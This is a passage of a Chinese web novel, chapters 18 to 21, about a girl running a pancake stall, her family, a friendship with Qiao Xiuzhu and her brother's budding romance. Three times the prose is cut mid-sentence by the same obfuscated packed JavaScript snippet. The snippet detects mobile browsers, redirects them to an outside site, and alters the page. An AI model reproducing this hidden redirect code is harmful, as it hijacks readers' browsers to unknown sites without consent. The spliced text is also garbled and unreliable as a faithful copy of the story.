然而此刻,她正生着气,注意力全不在这里,压根没留意到头顶的杆子。 只见她头一转,眼看着脑袋就要撞上那根杆子。 站在一旁的陈瑞平眼尖,把这一幕看得分明,下意识地赶紧伸出手去垫在杆子上,试图护住乔秀珠的头。 下一秒,乔秀珠的头便结结实实地撞了上去。 陈瑞平忙关切道:“你没事吧?” “我……我没事。”乔秀珠一时有些发愣,待反应过来后,目光方落到陈瑞平的手上,“……倒是你的手,疼不疼?” 陈瑞平这才意识到,自己的手还举在杆子上,赶忙将手收了回来。 这一下撞得颇重,但毕竟是肉撞肉,虽然疼,总不会伤到筋骨。 “不疼,没事。”陈瑞平一边说着,一边下意识地甩了甩有些发麻的手。 他后知后觉地有些腼腆起来。 刚刚情况紧急,来不及多想,他的手就伸出去了。当时,他的心猛地一紧,生怕她会受伤。 乔秀珠浑不似他这么扭捏。 她抓了一把果脯,用纸包上,连着刚刚的点心一起打包。 “为了感谢你,我再送些果脯与你们吃。刚才那人,是我那没用的爹,他就是话多,别理他。” 陈瑞安猜到,她多半是借此由头,想多送他们一些东西,也就不推拒了,大大方方接过袋子,笑道:“那我们就不客气了。秀珠姐,过年你没事做,来我家找我玩,榕树巷最前面一家就是。” 乔秀珠欣然答应:“好啊,我一定去。” 走出麻花店,看着手上的零食,陈瑞安顿觉,年味儿一下子就浓了起来。 她心想,得好好享受这难得的清闲才是,年后又该有得忙了。 过完年,舒先生就要去到省城暂住,为明年八月的乡试做准备了。 18. 学算盘 过年在家,闲来无事,陈瑞安那颗想学算盘的心又蠢蠢欲动起来。 虽说卖酱香饼是小生意,赚多赚少,每日收摊的时候数一数便知道,平日里并用不上算盘。 但这些日子,她为这小小的摊位倾注了无数的心血,而小摊也用真金白银的给予了她回报。 这悄然间喂大了陈瑞安的野心。 她不想如其他摊主那般,做一天和尚撞一天钟,能赚多少算多少。 小摊虽小,陈瑞安还是暗暗怀着一颗做大做强的心的。 要想实现这个梦想,就得回顾过去、展望未来,对小摊的账目事无巨细地进行分析,才能更好地进行发展决策。 从最基础的统计一周、一月的营收,到估算成本利润,乃至于计算营收的同比增长,要进行这些复杂的计算,那算盘可就是个必不可少的工具了。 上辈子每一个寒假都玩得找不着北,连寒假作业都要堆到最后一晚才写的陈瑞安,此刻决定卷自己一把。 班主任曾经说过,查缺补漏、弯道超车,寒假就是最好的机会。 爹正半躺着在床上,给娘和奶奶读话本。 为了爹那折了的尾骨,陈瑞安和娘一起,研究着做了个马桶垫形状的坐垫。这样一来,爹坐着或像这样半躺着的时候,就不会压到尾骨了。 虽然谈不上舒服,但总好过终日趴着。 “那人道:‘狂徒!今日你总算被我逮了个现行,看爷爷我的拳头!’说罢,那人——” 爹正绘声绘色地念着话本,陈瑞安凑上前去,眨巴眨巴眼睛:“爹,别念了,教我打算盘呗。” 张金花和奶奶磕着瓜子,正听听得津津有味,被陈瑞安这么骤得一打断,十分不满。 奶奶道:“真讨厌!正听到关要处,你这么一搅和,气氛都没了。” 张金花也附和道:“哎呀,算盘什么时候学不行?难得过年清闲,你就先歇一歇,等过完年再学也不迟嘛。” 然而陈瑞安是个想到什么立即就要做的性子,一刻也等不了。 她扭着身子撒娇道:“你们就让让我吧!过完年我就忙起来了,又要顾摊子,又要去照顾青青。舒先生年后就去省城了,我就得在舒家待到戌时,比现在多整整一个时辰呢。根本没时间学算盘了。” 爹马上道:“我教你,我教你。” 说罢,爹吩咐她磨墨,自己提笔写了一张口诀下来。 “你先把这个口诀背下来。背熟了以后,我再教你后面的。” 陈瑞安狐疑道:“爹,你不是在调虎离山呢吧?想把我支开,好接着读话本?” “绝对不是。”爹矢口否认,“我们年轻的时候学算盘,都是从背口诀开始的。不信的话,下次见到你大伯的时候,你问他。” 陈瑞安将信将疑地接过口诀。 娘和奶奶能继续听话本了,自是高兴,兴奋地坐直了身子。 陈瑞安转移阵地,拿着口诀来到堂屋,准备静下心来好好背诵。 但没有理解作为基础,死记硬背,哪有那么好背! 念了不知多少遍,她还在“翻开书马冬梅,关上书马什么梅”里循环。 “一上一,二上二,三下五去二,四下……四下……” “四下五去一。”一旁的陈瑞平幽幽道。 陈瑞平也没学过算盘,但他记性向来比陈瑞安好,在旁边跟着听了几遍,居然就记住了。 “你别打岔!我刚刚差点就想出来了!”陈瑞安气急败坏。 此刻她非常想念计算器。 遇事不要内耗,先怪别人。陈瑞安决定把一切归咎于爹把口诀的内涵一并教她,才害她不得不死记硬背。 这么想着,她又走进房间里,坚决要求爹给她详细讲解一下口诀。 奶奶和张金花才刚安生听了一会儿话本,不堪其扰,正要张嘴抱怨。突然,门口传来一阵“咚咚咚”的敲门声。 最近每每有人敲门,总没什么好事,一家人顿时都有些警觉起来,齐齐从窗子里探出头去望。 陈瑞平独自守在堂屋,因此他自觉地出去开了门。 然而来人却是个他意想不到的客人。 他一时惊讶,脱口而出道:“你怎么来了?” “怎么,我就不能来啦?可是你妹妹亲口邀请我来家里玩的。”门外的人笑嘻嘻地说道。 陈瑞平把人让了进来。 来者不是别人,正是乔氏麻花店的乔秀珠。 陈瑞安听到声音,早已辨认出来,一下子来了精神,兴奋地向外喊道:“秀珠姐!” 刚刚背不出口诀的烦恼,瞬间被抛到了九霄云外。 陈瑞安喜欢乔秀珠直来直去的性格,乔秀珠也欣赏她小小年纪在外摆摊的胆识才智。 两人相识的时间虽短,却十分聊得来,相处间已同多年好友般亲密。 今日,乔秀珠又与她爹大吵了一架。她在家越待越烦闷,忽然想起年前陈瑞安邀请她来家里玩的话,索性提了些点心,独自找来了榕树巷。 见朋友来找她玩,陈瑞安也很高兴,把她介绍给家人:“这就是秀珠姐,我跟你们提过的。” 奶奶见了乔秀珠,十分喜欢,牵她坐到自己身边,摩挲着她的手道:“好孩子,你今年多大了?” 奶奶向来喜欢眼睛大、身材壮实的年轻女孩子,当年她找儿媳的时候,一眼就看中了张金花,也正是这个缘故。 乔秀珠大大方方地回答道:“奶奶,过完年我就十九啦。” “哦,那跟我们家瑞平一样大。我听小安提起来,还以为你才十六七呢。这么大了,怎么家里还不给你说亲呀?” 张金花赶紧道:“娘,你问的这叫什么话!秀珠,老人家说话没轻重,你莫见怪。” 这话问得忒唐突。 一来,乔秀珠还是个大姑娘,不该上来就问人家的亲事,若是面皮薄些的姑娘,恐怕早羞得跑远了。 二来,大姑娘十九岁还没说上亲,总归是件愁人的事,不该戳人家心窝子。 然而,乔秀珠绝非寻常大姑娘。 她不但没生气,反而如逢知己般,拍拍奶奶的手,道:“奶奶说得太对了!” 爹娘四目相对,都有些摸不清状况。 乔秀珠接着道:“打我像小安这么大的时候,就常有媒婆上门说亲。可我爹只说不急不急,一直拖到了现在。 “他嘴上是说,好不容易养大的闺女,舍不得那么早嫁出去。其实,我心里清楚,他是舍不得一个免费的伙计呢! “家里的店一直都是我在照看,把我嫁出去了,他们就得另雇一个人。花钱不说,又要可靠、又要会算账,这样的伙计哪有那么好找? “既没有我用得顺手,也不像我一天这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223667|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样到晚都待在家里,随叫就能随到。 “奶奶,我说句真心话,我心里真是怨我爹的。耽误了我这么久,我再想嫁人,恐怕就只能挑鳏夫、老光棍了。再往坏了想,不知道的,还以为我是有什么难言之隐,才一直没嫁出去呢!” 奶奶听明白了,轻轻叹了口气,把乔秀珠的手握得紧紧的,心疼道:“唉,作孽哟,好孩子,你这心里得多委屈!” 张金花与乔秀珠有着相似的经历,她爹娘也曾把她当劳力扣着不放。她听得感同身受,眼泪都快要掉下来。 “秀珠啊,你要是有用得上我们家两个孩子的地方,尽管吩咐他们,让他们给你帮帮忙。你受了委屈,也让他们给你撑腰。”张金花真诚道。 见识过乔秀珠和她爹的相处,陈瑞安心想,秀珠姐自有手段,恐怕用不上咱们撑腰。 但该表达的心意还是要表达,她赶紧道:“没错没错,秀珠姐,你有需要一定要告诉我。不管什么事,我肯定尽力帮忙。” “瑞平,你也表个态。”张金花转头朝儿子说道。 陈瑞平听了乔秀珠一番倾诉,心里又气愤、又怜惜,甚至还有些莫名其妙的愧疚,一时间想入了神。 突然被母亲点名,他的脸一下子涨红了,显得有些手忙脚乱,结结巴巴地说道:“一定,一定。” 几人聚在一起,又说了许多的话,相谈甚欢,只觉时间过得飞快。 一直聊到饭点,张金花犹要留乔秀珠在家吃饭,但乔秀珠说什么也不肯再叨扰,执意要回家。 乔秀珠自己家里就是卖点心的,张金花没什么好给,只好硬塞了几个铜板给她做压岁钱,聊表心意。 担心乔秀珠不认识巷子里弯弯绕绕的路,张金花又特意派陈瑞平送她出巷子。 两人并肩走在空无一人的小巷里,把雪踩得咯吱作响。冬天的白昼总是格外短暂,天色渐暗,天边已经映着晚霞,给地上的雪披上了一层霞光。 陈瑞平像是突然鼓起了勇气,忽然没头没尾地说了一句:“你受苦了。” 乔秀珠愣了一下,笑道:“什么苦不苦的,家家有本难念的经,谁的日子都不好过。只不过没几个人像我这么爱发牢骚,受点委屈就到处说罢了。” 陈瑞平摇了摇头,道:“你不是在发牢骚。你是在保护自己。” 乔秀珠没想到陈瑞平会说这样的话,一时怔住。 每每同爹娘争执,她总爱在外抱怨一番。既是为了把气都撒出来,不至于白受委屈;也是为了证明自己不好惹,使他们之后多少能投鼠忌器,不会越做越过分。 连她自己也没有发现,她是在用自己的方式保护自己。 而身边这个只寥寥说过几句话的人,居然比她更懂她。 一时间,乔秀珠竟有些不知该如何回应,几乎是落荒而逃地道:“前面的路我认识,送到这里就可以了。” 陈瑞平看着乔秀珠离去的背影,又在原地怔怔地站了许久,才转身往家的方向走去。 他走得魂不守舍,简直顾不上看路。直到踩到一个又软又硬的东西,他低头一看,才发现地上躺着一只荷包。 是乔秀珠用来装香榧子的荷包。 他俯身轻轻捡起荷包,拿在手中,手指轻轻抚过绣纹,细细地端详起来,若有所思。 最终,他微微抿了抿唇,小心翼翼地将荷包收进了袖子里。 19. 一波三折 说起舒先生的科举之路,那真可谓是一波三折。 舒先生十二岁时,就已经展现出了罕见的天赋。 在短短一年内,他接连通过了县试、府试、院试,一举取得了生员的身份,成为了一名少年秀才。 不仅如此,在乡试中,他甚至取得了一等的成绩,成为了一名“廪生”。 “廪”是粮仓的意思,成为廪生,意味着每月都能领取到政府发放的官粮,可以没有后顾之忧地学习了。 在河头县这种小地方,秀才尚且很珍贵。 而舒家居然出了个只有十二岁的少年廪生,大可以被奉为神童了。 彼时,舒先生还不叫舒先生,人人喊他神童舒汶,一时间风头无两。 十四岁时,舒汶正紧锣密鼓地筹备着三年一度的乡试,连县太爷都对他寄予厚望。 谁料造化弄人,就在舒汶打算启程去参加乡试的前一天,舒先生的母亲在河边洗衣,不慎失足落水了。 幸运的是,当时恰好有几个孩子正在河里戏水,及时发现了溺水的舒母,把她救上了岸。 舒母悠悠转醒后,第一句话便是:别管我,让孩子去考试。 舒父、舒汶的先生、县太爷三人,聚在一起商量了一整天。 县太爷道,我是父母官,又惜才,盼孩子成才的心,一点儿不比你们做父亲、做老师的弱啊。 但是,依我的拙见,乡试三年一回,这次考不了,下次再考也不迟。 论情,为人子,倘若抛下生命垂危的母亲,自己去参加考试,万一母亲有个三长两短,必会抱憾终身。 论理,如果舒汶真能考上举人,那将来可是要做官的。母亲病危而不侍奉榻前,只顾自己奔前程,说出去不好听。要是不巧碰上那心怀叵测的小人,给他扣上一顶不孝的帽子,恐怕会影响仕途啊。 县太爷见多识广,一番话说得入情入理。极具说服力。舒父听后,心中虽有万般不舍与纠结,但权衡再三,最终还是咬着牙作出了决定——不考了,留在家里照顾母亲吧。 舒母虽然被救起,但溺水时间太久,身体已经受到了不可逆转的伤害。 舒汶从府学退学,在母亲侍奉榻前悉心侍奉了一年后,母亲还是带着遗憾离世了。 居父母丧者,不许入试。 为了守孝,舒汶又错过了十七岁的那场乡试。 此乃第一折。 舒母过世后,在叔伯的劝说和安排下,舒父又迎娶了一位新妻子进门。 这位继母过门不久,便给舒汶添了一个小弟弟。 自发妻死后,舒父愈发觉得世事无常,心头总萦绕着几分怅然。 但小儿子的诞生,犹如一道曙光穿透阴霾,又重新照亮了他的生活。新生命的到来的喜悦与希望,冲淡了往事带来的悲伤。 舒父大喜,对小儿子宠爱有加,常常将他抱在怀中,带出去逛街玩乐。 一日,舒父抱着小儿子回来,见他蔫蔫儿的,还以为是玩累了困了,便交给他母亲带着睡觉。 不料,第二日,那孩子便高烧不退,没几日便去了。 那年河头县城中天花肆虐,舒汶的小弟弟是最早的一批。 那孩子的母亲,小时候竟未曾发过痘,为了照顾孩子,她也染上了天花,很快也撒手人寰了。 为继母守孝,又是三年。 此乃第二折。 舒汶与孙阿瑜的婚约原是早早定下的。 舒父原本预备着,等儿子考取了功名再成亲,面上也更好看。 可谁料造化弄人,这接二连三的守孝,舒汶的功名也跟着遥遥无期。 怕耽误人家姑娘,舒父思来想去,干脆趁着继母的热孝,给舒汶成了亲。 丧妻、丧子、又丧妻,这一系列的变故,如同梦魇般,日夜缠着舒父,彻底击溃了他的精神,也摧残着他的身体。 他的身体每况愈下,渐渐流连病榻,大有油尽灯枯之意。 为了照顾父亲,舒汶又是不辞辛劳地四处奔波,寻医问药,访遍周边的名医;又是精心照料,在父亲床前精心照料,喂饭、擦身、陪父亲聊天解闷,事无巨细,不敢有丝毫懈怠。 二十三岁那年的乡试时,父亲的身体已是病入膏肓,气息奄奄。 舒汶自知准备不足,而父亲又正需要他时刻陪伴照料,权衡再三,他索性没有参加。 舒青出生不久后,舒父就离世了。 临终之际,舒父紧紧握着舒汶的手,道,是我耽误了你啊。 舒汶流着泪道,父亲请放心,儿子一定会考上功名,圆父亲母亲的梦。 此乃第三折。 孙阿瑜跟着照顾完公公,又要照顾孩子,身体很快也垮了。 看着虚弱的妻子和嗷嗷待哺的孩子,舒汶心急如焚,四处托人打听,最终找来了生过孩子、刚刚守寡的刘婶。 刘婶为人实诚、经验丰富,来了之后,主动帮忙带孩子、操持家务,把家里打理得井井有条,夫妻俩这才松了一口气。 只是舒家的田产进项有限,又接连治病人、办红白事,积蓄如流水般,早耗去了大半。再加上刘婶的薪水,又增一笔开支。 为了养家,舒汶办起了学堂,成为了舒先生。 二十九岁时,舒汶终于参加了他的第一次乡试。 距离第一次准备乡试,时隔已十五年。 然而名落孙山。 河头县的人们早忘了舒家有个神童的往事,只记得有个很会教书的舒先生。 但舒汶没有忘。 白天要教书,晚上要备课,他便熬夜、早起苦读。 白驹过隙,一晃又过去了六年,舒汶已经三十五岁了。 在这六年里,他从未有过一刻懈怠。无数个夜晚和早晨,他独坐于书桌前,伴着如豆的灯火,诵读着经史子集,学作了几百篇文章。 他扪心自问,觉得自己已经准备好了。 他要参加今年的乡试。 因此,他对这次考试十分重视。 自去年起,他的学堂就没有再收新的学生,只为能将全部精力聚焦于备考之上。 今年一开年,更是停了学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229701|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂的课,独自去省城请教名师,为八月份的乡试做准备。 舒先生一走,陈瑞安的工作一下子就艰巨起来。 其一是吃饭。 舒小姐挑食的毛病从小就有。一坐在饭桌前,她就挑挑拣拣,这个不想吃,那个不合口味,一顿饭下来,磨磨蹭蹭要耗费半个时辰,到最后,碗中往往还剩下不少饭菜。 孙阿瑜和刘婶都拿她没办法,只有陈瑞安和舒先生二人,在她跟前还算有些威严。只要他俩往旁边一坐,舒小姐就不敢太过放肆,至少能把饭吃完。 从前,陈瑞安只陪舒小姐吃早中两顿饭,已经颇磨人。如今舒先生一走,晚饭也要靠她来管。一天下来,光是操心舒小姐的吃饭问题,就耗费了她不少精力。 其二是功课。 舒先生,这一走便是半年,无法亲自教导舒小姐,他又担心女儿的学业荒废。 于是在离开之前,他便给舒小姐布置了极为详尽的学习任务,要她自学。 孙阿瑜和刘婶都不识字,监督并确保舒小姐按时赶上学习进度的艰巨任务,自然而然就全都落在了陈瑞安的肩头。 辅导过孩子写作业的都知道,比上一天班都累。 何况陈瑞安的学问比舒小姐差得远,又要监督她的赶上进度,又要提防她偷懒,要费许多心神。 陈瑞安的每一天都被安排得满满当当,忙得不可开交。 天未大亮,她就要起床准备酱香饼要用的酱料。招呼客人、煎饼抹酱,更是一刻都不得闲。白天,她又得全身心地投入到照看舒小姐的工作中。到了晚上,拖着疲惫的身体回了家,她也不能马上休息。她得仔细地算账,核算当天的收入和支出,还得静下心来思考小摊的经营策略。 陈瑞安的一天恨不得掰成八瓣儿用。 舒先生走了区区一个月,陈瑞安已觉心力交瘁,累得直不起腰来。 这日,舒小姐正默写一篇文章,陈瑞安则静静地在一旁看着她,提防她做什么小动作。 这是一篇南北朝时期的骈文,本就十分难背,生僻字又多。 舒小姐背得不熟,偷偷提前做了小抄,藏在袖子里。 只是陈瑞安的眼睛一刻都没从她身上移开过,她总没机会拿出来偷看。 陈瑞安把她的小动作看得一清二楚,并不揭穿,只是催促道:“快写。” 舒小姐心生一计,假意尖叫道:“啊!姐姐,那里有虫!” “哪里?” 陈瑞安虽然疑心这只“虫”是舒小姐凭空捏造出来的,但因舒小姐十分怕虫,她还是要亲自确认一下。 “在那里!”舒小姐指着桌子底下。 见陈瑞安弯下身子去找虫,舒小姐迅速掏出了自己的小抄,飞快地看了眼她正卡壳的句子。 然而,等她把这个句子都写下来了,才惊讶地发现陈瑞安居然还弯着身子在找虫。 “姐姐,找到了吗?”舒小姐有些心虚地问道。 桌子底下传来陈瑞安咬牙切齿的声音:“……没有。过来帮帮我,我的腰痛得直不起来了!” 20. 腰间盘突出 向孙阿瑜告了半天假,陈瑞安强忍着腰部的疼痛,独自去了医馆。 郎中替她检查,按按这里、按按那里,陈瑞安痛得腰上如有千万根针扎,脸色苍白,额头上豆大的汗珠止不住地滚落下来。 郎中嘴里不时发出“嗯?”声音。他每“嗯?”一声,陈瑞安的心便沉一分。 在郎中“嗯?”了五六声后,陈瑞安终于忍不住道:“大夫,我是要残疾了吗?” 郎中已经结束了检查,这才慢条斯理地道:“无妨。有腰病的人多得很,你这个不算严重。” “那您‘嗯?’是什么意思?听着怪吓人的。”陈瑞安悬着的心这才放下来,扶着腰问道。 郎中道:“得腰病的人,年长者多、务农者多、卖力气为生者多。我看你年纪轻轻,又衣冠整洁,不像做重体力活的人,不该得这个病啊。” 陈瑞安想了想,道:“务农者、卖力气为生者,都是要常年弯腰的。我是卖早点的,也要长时间弯腰呢,是不是这个缘故?” 为了减轻重量、方便携带,酱香饼挑子做得颇矮,陈瑞安平日煎饼,总不得不把腰弯得很低。 每每收摊时,她总是感到腰酸背痛,但没有哪一回如今天痛得这般剧烈,简直难以忍受。 “那就说得通了。”郎中一副了然的神情,点点头道,“但也不光是这个缘故。你才这么大,满打满算,卖早点至多不过一两年吧?按道理来说,是不会这么容易就患上腰病的。” 陈瑞安都不好意思说,自己才卖了几个月的酱香饼呢。 郎中又道:“老夫大胆猜测一下,你在走远路的时候,是否双腿很容易感到疲惫?” 还真是!陈瑞安点点头。 她同娘一起走路,她走半个时辰便觉得双腿如灌铅,第二天必肌肉酸痛,而娘走一两个时辰都还很轻松。 “那你大约是腰腹无力,走路、站姿都有问题,使腰部代为承受了其他地方的压力。经过了多年的积累,又因为最近疲劳,才诱发了腰病。” 陈瑞安赶紧问:“那该怎么纠正呢?” 郎中教她:“你站起来,想象头顶有一根绳子,把你整个人轻轻提了起来,肩膀放松。保持这个感觉,走两步试试。” 陈瑞安走了两步,果然感觉腿部轻松了许多,力量似乎更多地落到了腰腹上。 “你往后多多注意,最好要改变你这走路的习惯,才能从根本上解决问题。” 郎中说着,写了张单子递给她:“我给你开两副膏药,回去之后按时贴上。如果方便的话,最好能配合针灸治疗,好得更快。 “这几日要卧床休息,务必要等彻底不痛了再下地活动,不能着急。只要你按照我说的做,很快就好了,不必过于担心。” 陈瑞安赶紧追问道:“大概要卧床几天呢?” 郎中抬头看了她一眼,道:“每个人的情况不一样,少则七天,多的,二三个月也有的。我看你的情况不严重,但最起码要卧床休息七天以上。 “之后不能久站、弯腰,须得悉心养护,否则是很容易复发的。 “你说你是卖早点的,是吧?我建议你,最好还是能换个不必弯腰的营生。” “那怎么行?”陈瑞安急了,“我家里还欠着债,等我卖早点还呢!” “欠债?”郎中皱了皱眉毛,有些惊讶。他看这个小姑娘衣着打扮,还以为她家里宽裕呢,所以才建议她配合针灸。 郎中沉思片刻,拿回了陈瑞安手里的药单,改了几笔,道:“那我给你换一种膏药。效果是差不多的,价格要低一半。” 原来自己被当了一回冤大头而浑然不知,陈瑞安目瞪口呆。 揣着膏药,陈瑞安慢慢走回了家,心情十分沮丧。 这些日子,她忙得焦头烂额,本来就压力已经很大了。这下好了,因为这不争气的腰,还得被迫休息。 且不说舒小姐的学习,没她看管,必然会落后进度;单说那酱香饼摊子,少摆一天,就是少挣一天的钱哪! 更何况,郎中还劝她换个营生——投进去的本钱、积累的客源,好不容易经营起来的摊子,是家里还债的指望呢!岂是说换就能换? 虽然如此,走到家门口时,她还是强打起精神,深吸一口气,提前调整面部肌肉,硬扯出了一个轻松的表情。 她不想让家人太过担心。 张金花正在堂屋扫地,见她回来,惊讶道:“今日怎么这么早就回来了?” 从突然直不起腰,到去医馆看郎中,陈瑞安把今天的经历一五一十地向张金花讲述了一遍。 张金花听后,不禁咂舌道:“你这么点儿大,居然还有腰呢!郎中开药了吗?” “开了两副膏药给我。不过,郎中说了,药只是辅助,最重要的还是卧床修养。最起码要卧床七天呢!唉。”陈瑞安无奈道。 “唉哟,那你还站在这儿干嘛?快躺下。”张金花赶紧丢下扫帚,把女儿推到卧房里,小心翼翼地扶她慢慢躺下,又替她脱了鞋。 张金花坐在床沿,伸出手试探着在陈瑞安的腰上轻轻按了一下,问道:“是这儿疼吗?” “啊啊啊啊啊!别动别动,疼!” 刚刚在医馆里,被郎中按腰的时候,陈瑞安虽然疼得厉害,但也只好咬紧牙关硬忍下来;如今回到了家里,在娘的面前,她总算可以放心地鬼哭狼嚎了。 张金花没想到女儿的腰伤居然这么严重,听到她的痛呼,心里被揪住了似的难受,为自己的冒失而后悔不迭。 “怪我怪我,我不该乱动。”张金花自责道,“我帮你把袄和外裤脱下来,把被子盖上。这么冷的天,别给冻感冒了。” 陈瑞安见娘小心翼翼、忙前忙后的样子,不由有些心疼。 “娘,你除了照顾爹,现在还要照顾我,太辛苦了。” 张金花不以为意,笑了笑道:“这算什么?你无非是要卧床静养几天,又不是不能自己上厕所吃饭,照顾一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240355|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个你,还不是顺手的事儿。 “你和你爹两个人加起来,还比不上你爷爷一半呢。伺候你爷爷那么多年,我都伺候过来了。 “别瞎操心了,你就安心养着,把身体养好了比什么都强。” 话虽如此,陈瑞安还是有些焦虑:“往床上这么一躺,我是轻松了,可是事情都没人做了。” 张金花看着女儿愁眉不展的样子,安慰道:“怎么,离了你,难道太阳还不下山了?放一百个心吧,你就安心歇几天,会有解决办法的。 “你这才躺几天,舒先生要到八九月才回来呢。舒小姐那边,等你好了再去,也不迟。 “至于摊子,不是还有你哥哥呢吗?让他一个人去摆几天嘛。” 从前生意忙的时候,趁陈瑞安切饼的功夫,陈瑞平也帮着煎过饼,倒是做得来的,只是不熟练。 陈瑞安还是有些担忧:“我哥……他行吗?” 张金花摸摸女儿的头,让她放宽心:“不就是煎个饼,有什么行不行的?无非是慢一些,不碍事的。 “要我说,把你哥锻炼出来,以后,煎饼这种体力活就让他做,你负责收钱。招待客人,迎来送往的,你比他在行。” 事已至此,也只好这样了。 不过,娘说让哥哥负责煎饼的方案,陈瑞安倒觉得可行。只收银,总不会太伤腰吧? 翌日清晨,天刚蒙蒙亮,陈瑞平简单洗漱过后,便独自挑着酱香饼挑子,去东街摆摊了。 没有妹妹帮忙拎面饼,陈瑞平明显感觉肩上的挑子比往日要重许多,每走一步都有些吃力,肩膀被扁担压得生疼。 布置好摊子,还没到有早高峰的时间,陈瑞平搓着手取暖,心里莫名有些紧张。 平日里,虽然他要负责吆喝,但只要客人到了摊前,基本上都是妹妹在招待。 介绍酱料、说明价格,妹妹都做得很好,有时还能同客人开开玩笑,推销更大份的酱香饼等。 陈瑞平的个性与妹妹很不相同。他自小内向,不擅长和人打交道。 在衙门里做文书工作时,即使要对接,也是和几个熟悉的同僚,交流起来还算自在。 如今要他独自看摊,独自面对形形色色的顾客,这还是头一遭。 哪怕只是一些询问价格、介绍口味之类的简单对话,他也还是不禁有些担忧,怕自己说错话,影响了生意。 陈瑞平正想着,摊前来了一个人影。他正打算招待,抬头一看,竟是乔秀珠。 刹那间,他只觉得呼吸滞住了,一股热流流遍了全身,丝毫不冷了。东街上嘈杂的声音,此刻好像忽然全部都消失了,他只能听见自己心跳如擂鼓。 上次小巷一别后,他还是第一次见到乔秀珠。 既喜悦,又忐忑;既期待,又害怕。 乔秀珠却好像什么事都没有发生过似的,带着一如往常的笑容,道:“老样子,我要一整张饼,一半辣一半不辣。小安今天怎么没来?” 21. 感激 那日在榕树巷,陈瑞平送来找妹妹陈瑞安玩的乔秀珠出巷子口。 当时,在他说出“你是在保护自己”的话后,他分明看见,乔秀珠的神色起了变化。 她为他的共鸣而动容,她带着卸下坚强盔甲般的脆弱,还有几分慌张,似乎是被他看穿了内心的秘密而有些不知所措。 陈瑞平看着她望向自己的眼睛,十分笃定,他们共享着同一种悸动。 那日后,陈瑞平无时无刻不惦念着乔秀珠。 一闭上眼睛,他的脑海中便会不由自主地浮现出乔秀珠的脸庞,仿佛能听见她清脆的声音,看见她那明媚的笑容。 但此刻,乔秀珠的神情、话语,都寻常得有些不可思议。 她明明什么都没有说、什么都没有做,陈瑞平却平白无故地感觉到,他们比往日更加生疏。 陈瑞平不禁怀疑起来,那天的一切,难道是我做的一场梦么? 见陈瑞平纹丝不动,乔秀珠还以为是陈瑞安出了什么意外,忍不住问道:“怎么了,难道小安出什么事了吗?” 陈瑞平这才缓过神来,意识到自己的失态,手忙脚乱地拿起铲子,一边煎饼,一边声音略带颤抖地回道:“她……她没事,就是身体有些不舒服,在家歇着呢。” “啊?她怎么了?严重吗?”乔秀珠皱起眉头,十分关切地问道。 “没事没事,不严重。就是这些日子太累了,腰有些劳损。”陈瑞平偷偷抬眼瞧了瞧乔秀珠,见她面露担忧,又赶紧补充道:“郎中说了,休息几日,养养便好,不碍事的。” 乔秀珠叹口气,道:“她就是太拼了。年纪又小,不懂得千事万事,什么都比不上自己的身体要紧。” 说完,她微微低下头,若有所思,不再说话。 煎着饼的陈瑞平却很不自在。 他的心里有许多话想对乔秀珠说,可话到了嘴边,总觉得不合适,便又咽了回去。 他的时不时地偷偷看一眼乔秀珠,想要从她的脸上捕捉到一些不一样的神情,可乔秀珠却只是静静地站在那里,让他捉摸不透她的心思。 付过钱,乔秀珠带着酱香饼走了,留陈瑞平一个人怔怔地站在摊子前。 突然,他像是想起了什么,原本黯淡的眼睛,忽然又亮了起来。 不,不是梦。那天,他捡到的那只香囊,现在还在他的身上呢。 陈瑞平下意识地伸手摸了摸怀里的香囊,指尖触碰到那上面刺绣的纹路,感受到它的存在,心里顿时感到安心了一些。 也许,只是他会错了意。 乔秀珠当时的慌乱,只是因为觉得他的话太冒犯。 又或者,她觉得他们相交甚浅,不愿意把自己的脆弱袒露在他的面前,所以才会匆匆离开。 也正因此,她才会假装那天的一切都没有发生过。 想到这些,原本好不容易升起的希望又被否定,陈瑞平的心里不禁有些失落。 也许,本就是他太莽撞,给乔姑娘造成了困扰吧。 但生活没有留给他太多时间去东想西想。此时时候已经不早,早高峰的客流已经陆陆续续到来,他须得赶紧打起精神,准备着迎接这个忙碌的早晨了。 这是他头一次独自出摊,平日里有妹妹一起,凡是都有分工,可现在一个人要兼顾招待和煎饼、切饼等一系列事情,陈瑞平难免有些手忙脚乱。 他打起十二分精神,既怕冷落了顾客,又生怕饼煎糊了。 不少老顾客,平日里就爱同陈瑞安聊两句天的,今日见她没来,少不了要问两句。陈瑞平只能一边忙着手上的活儿,一边耐心地向他们解释妹妹的情况。 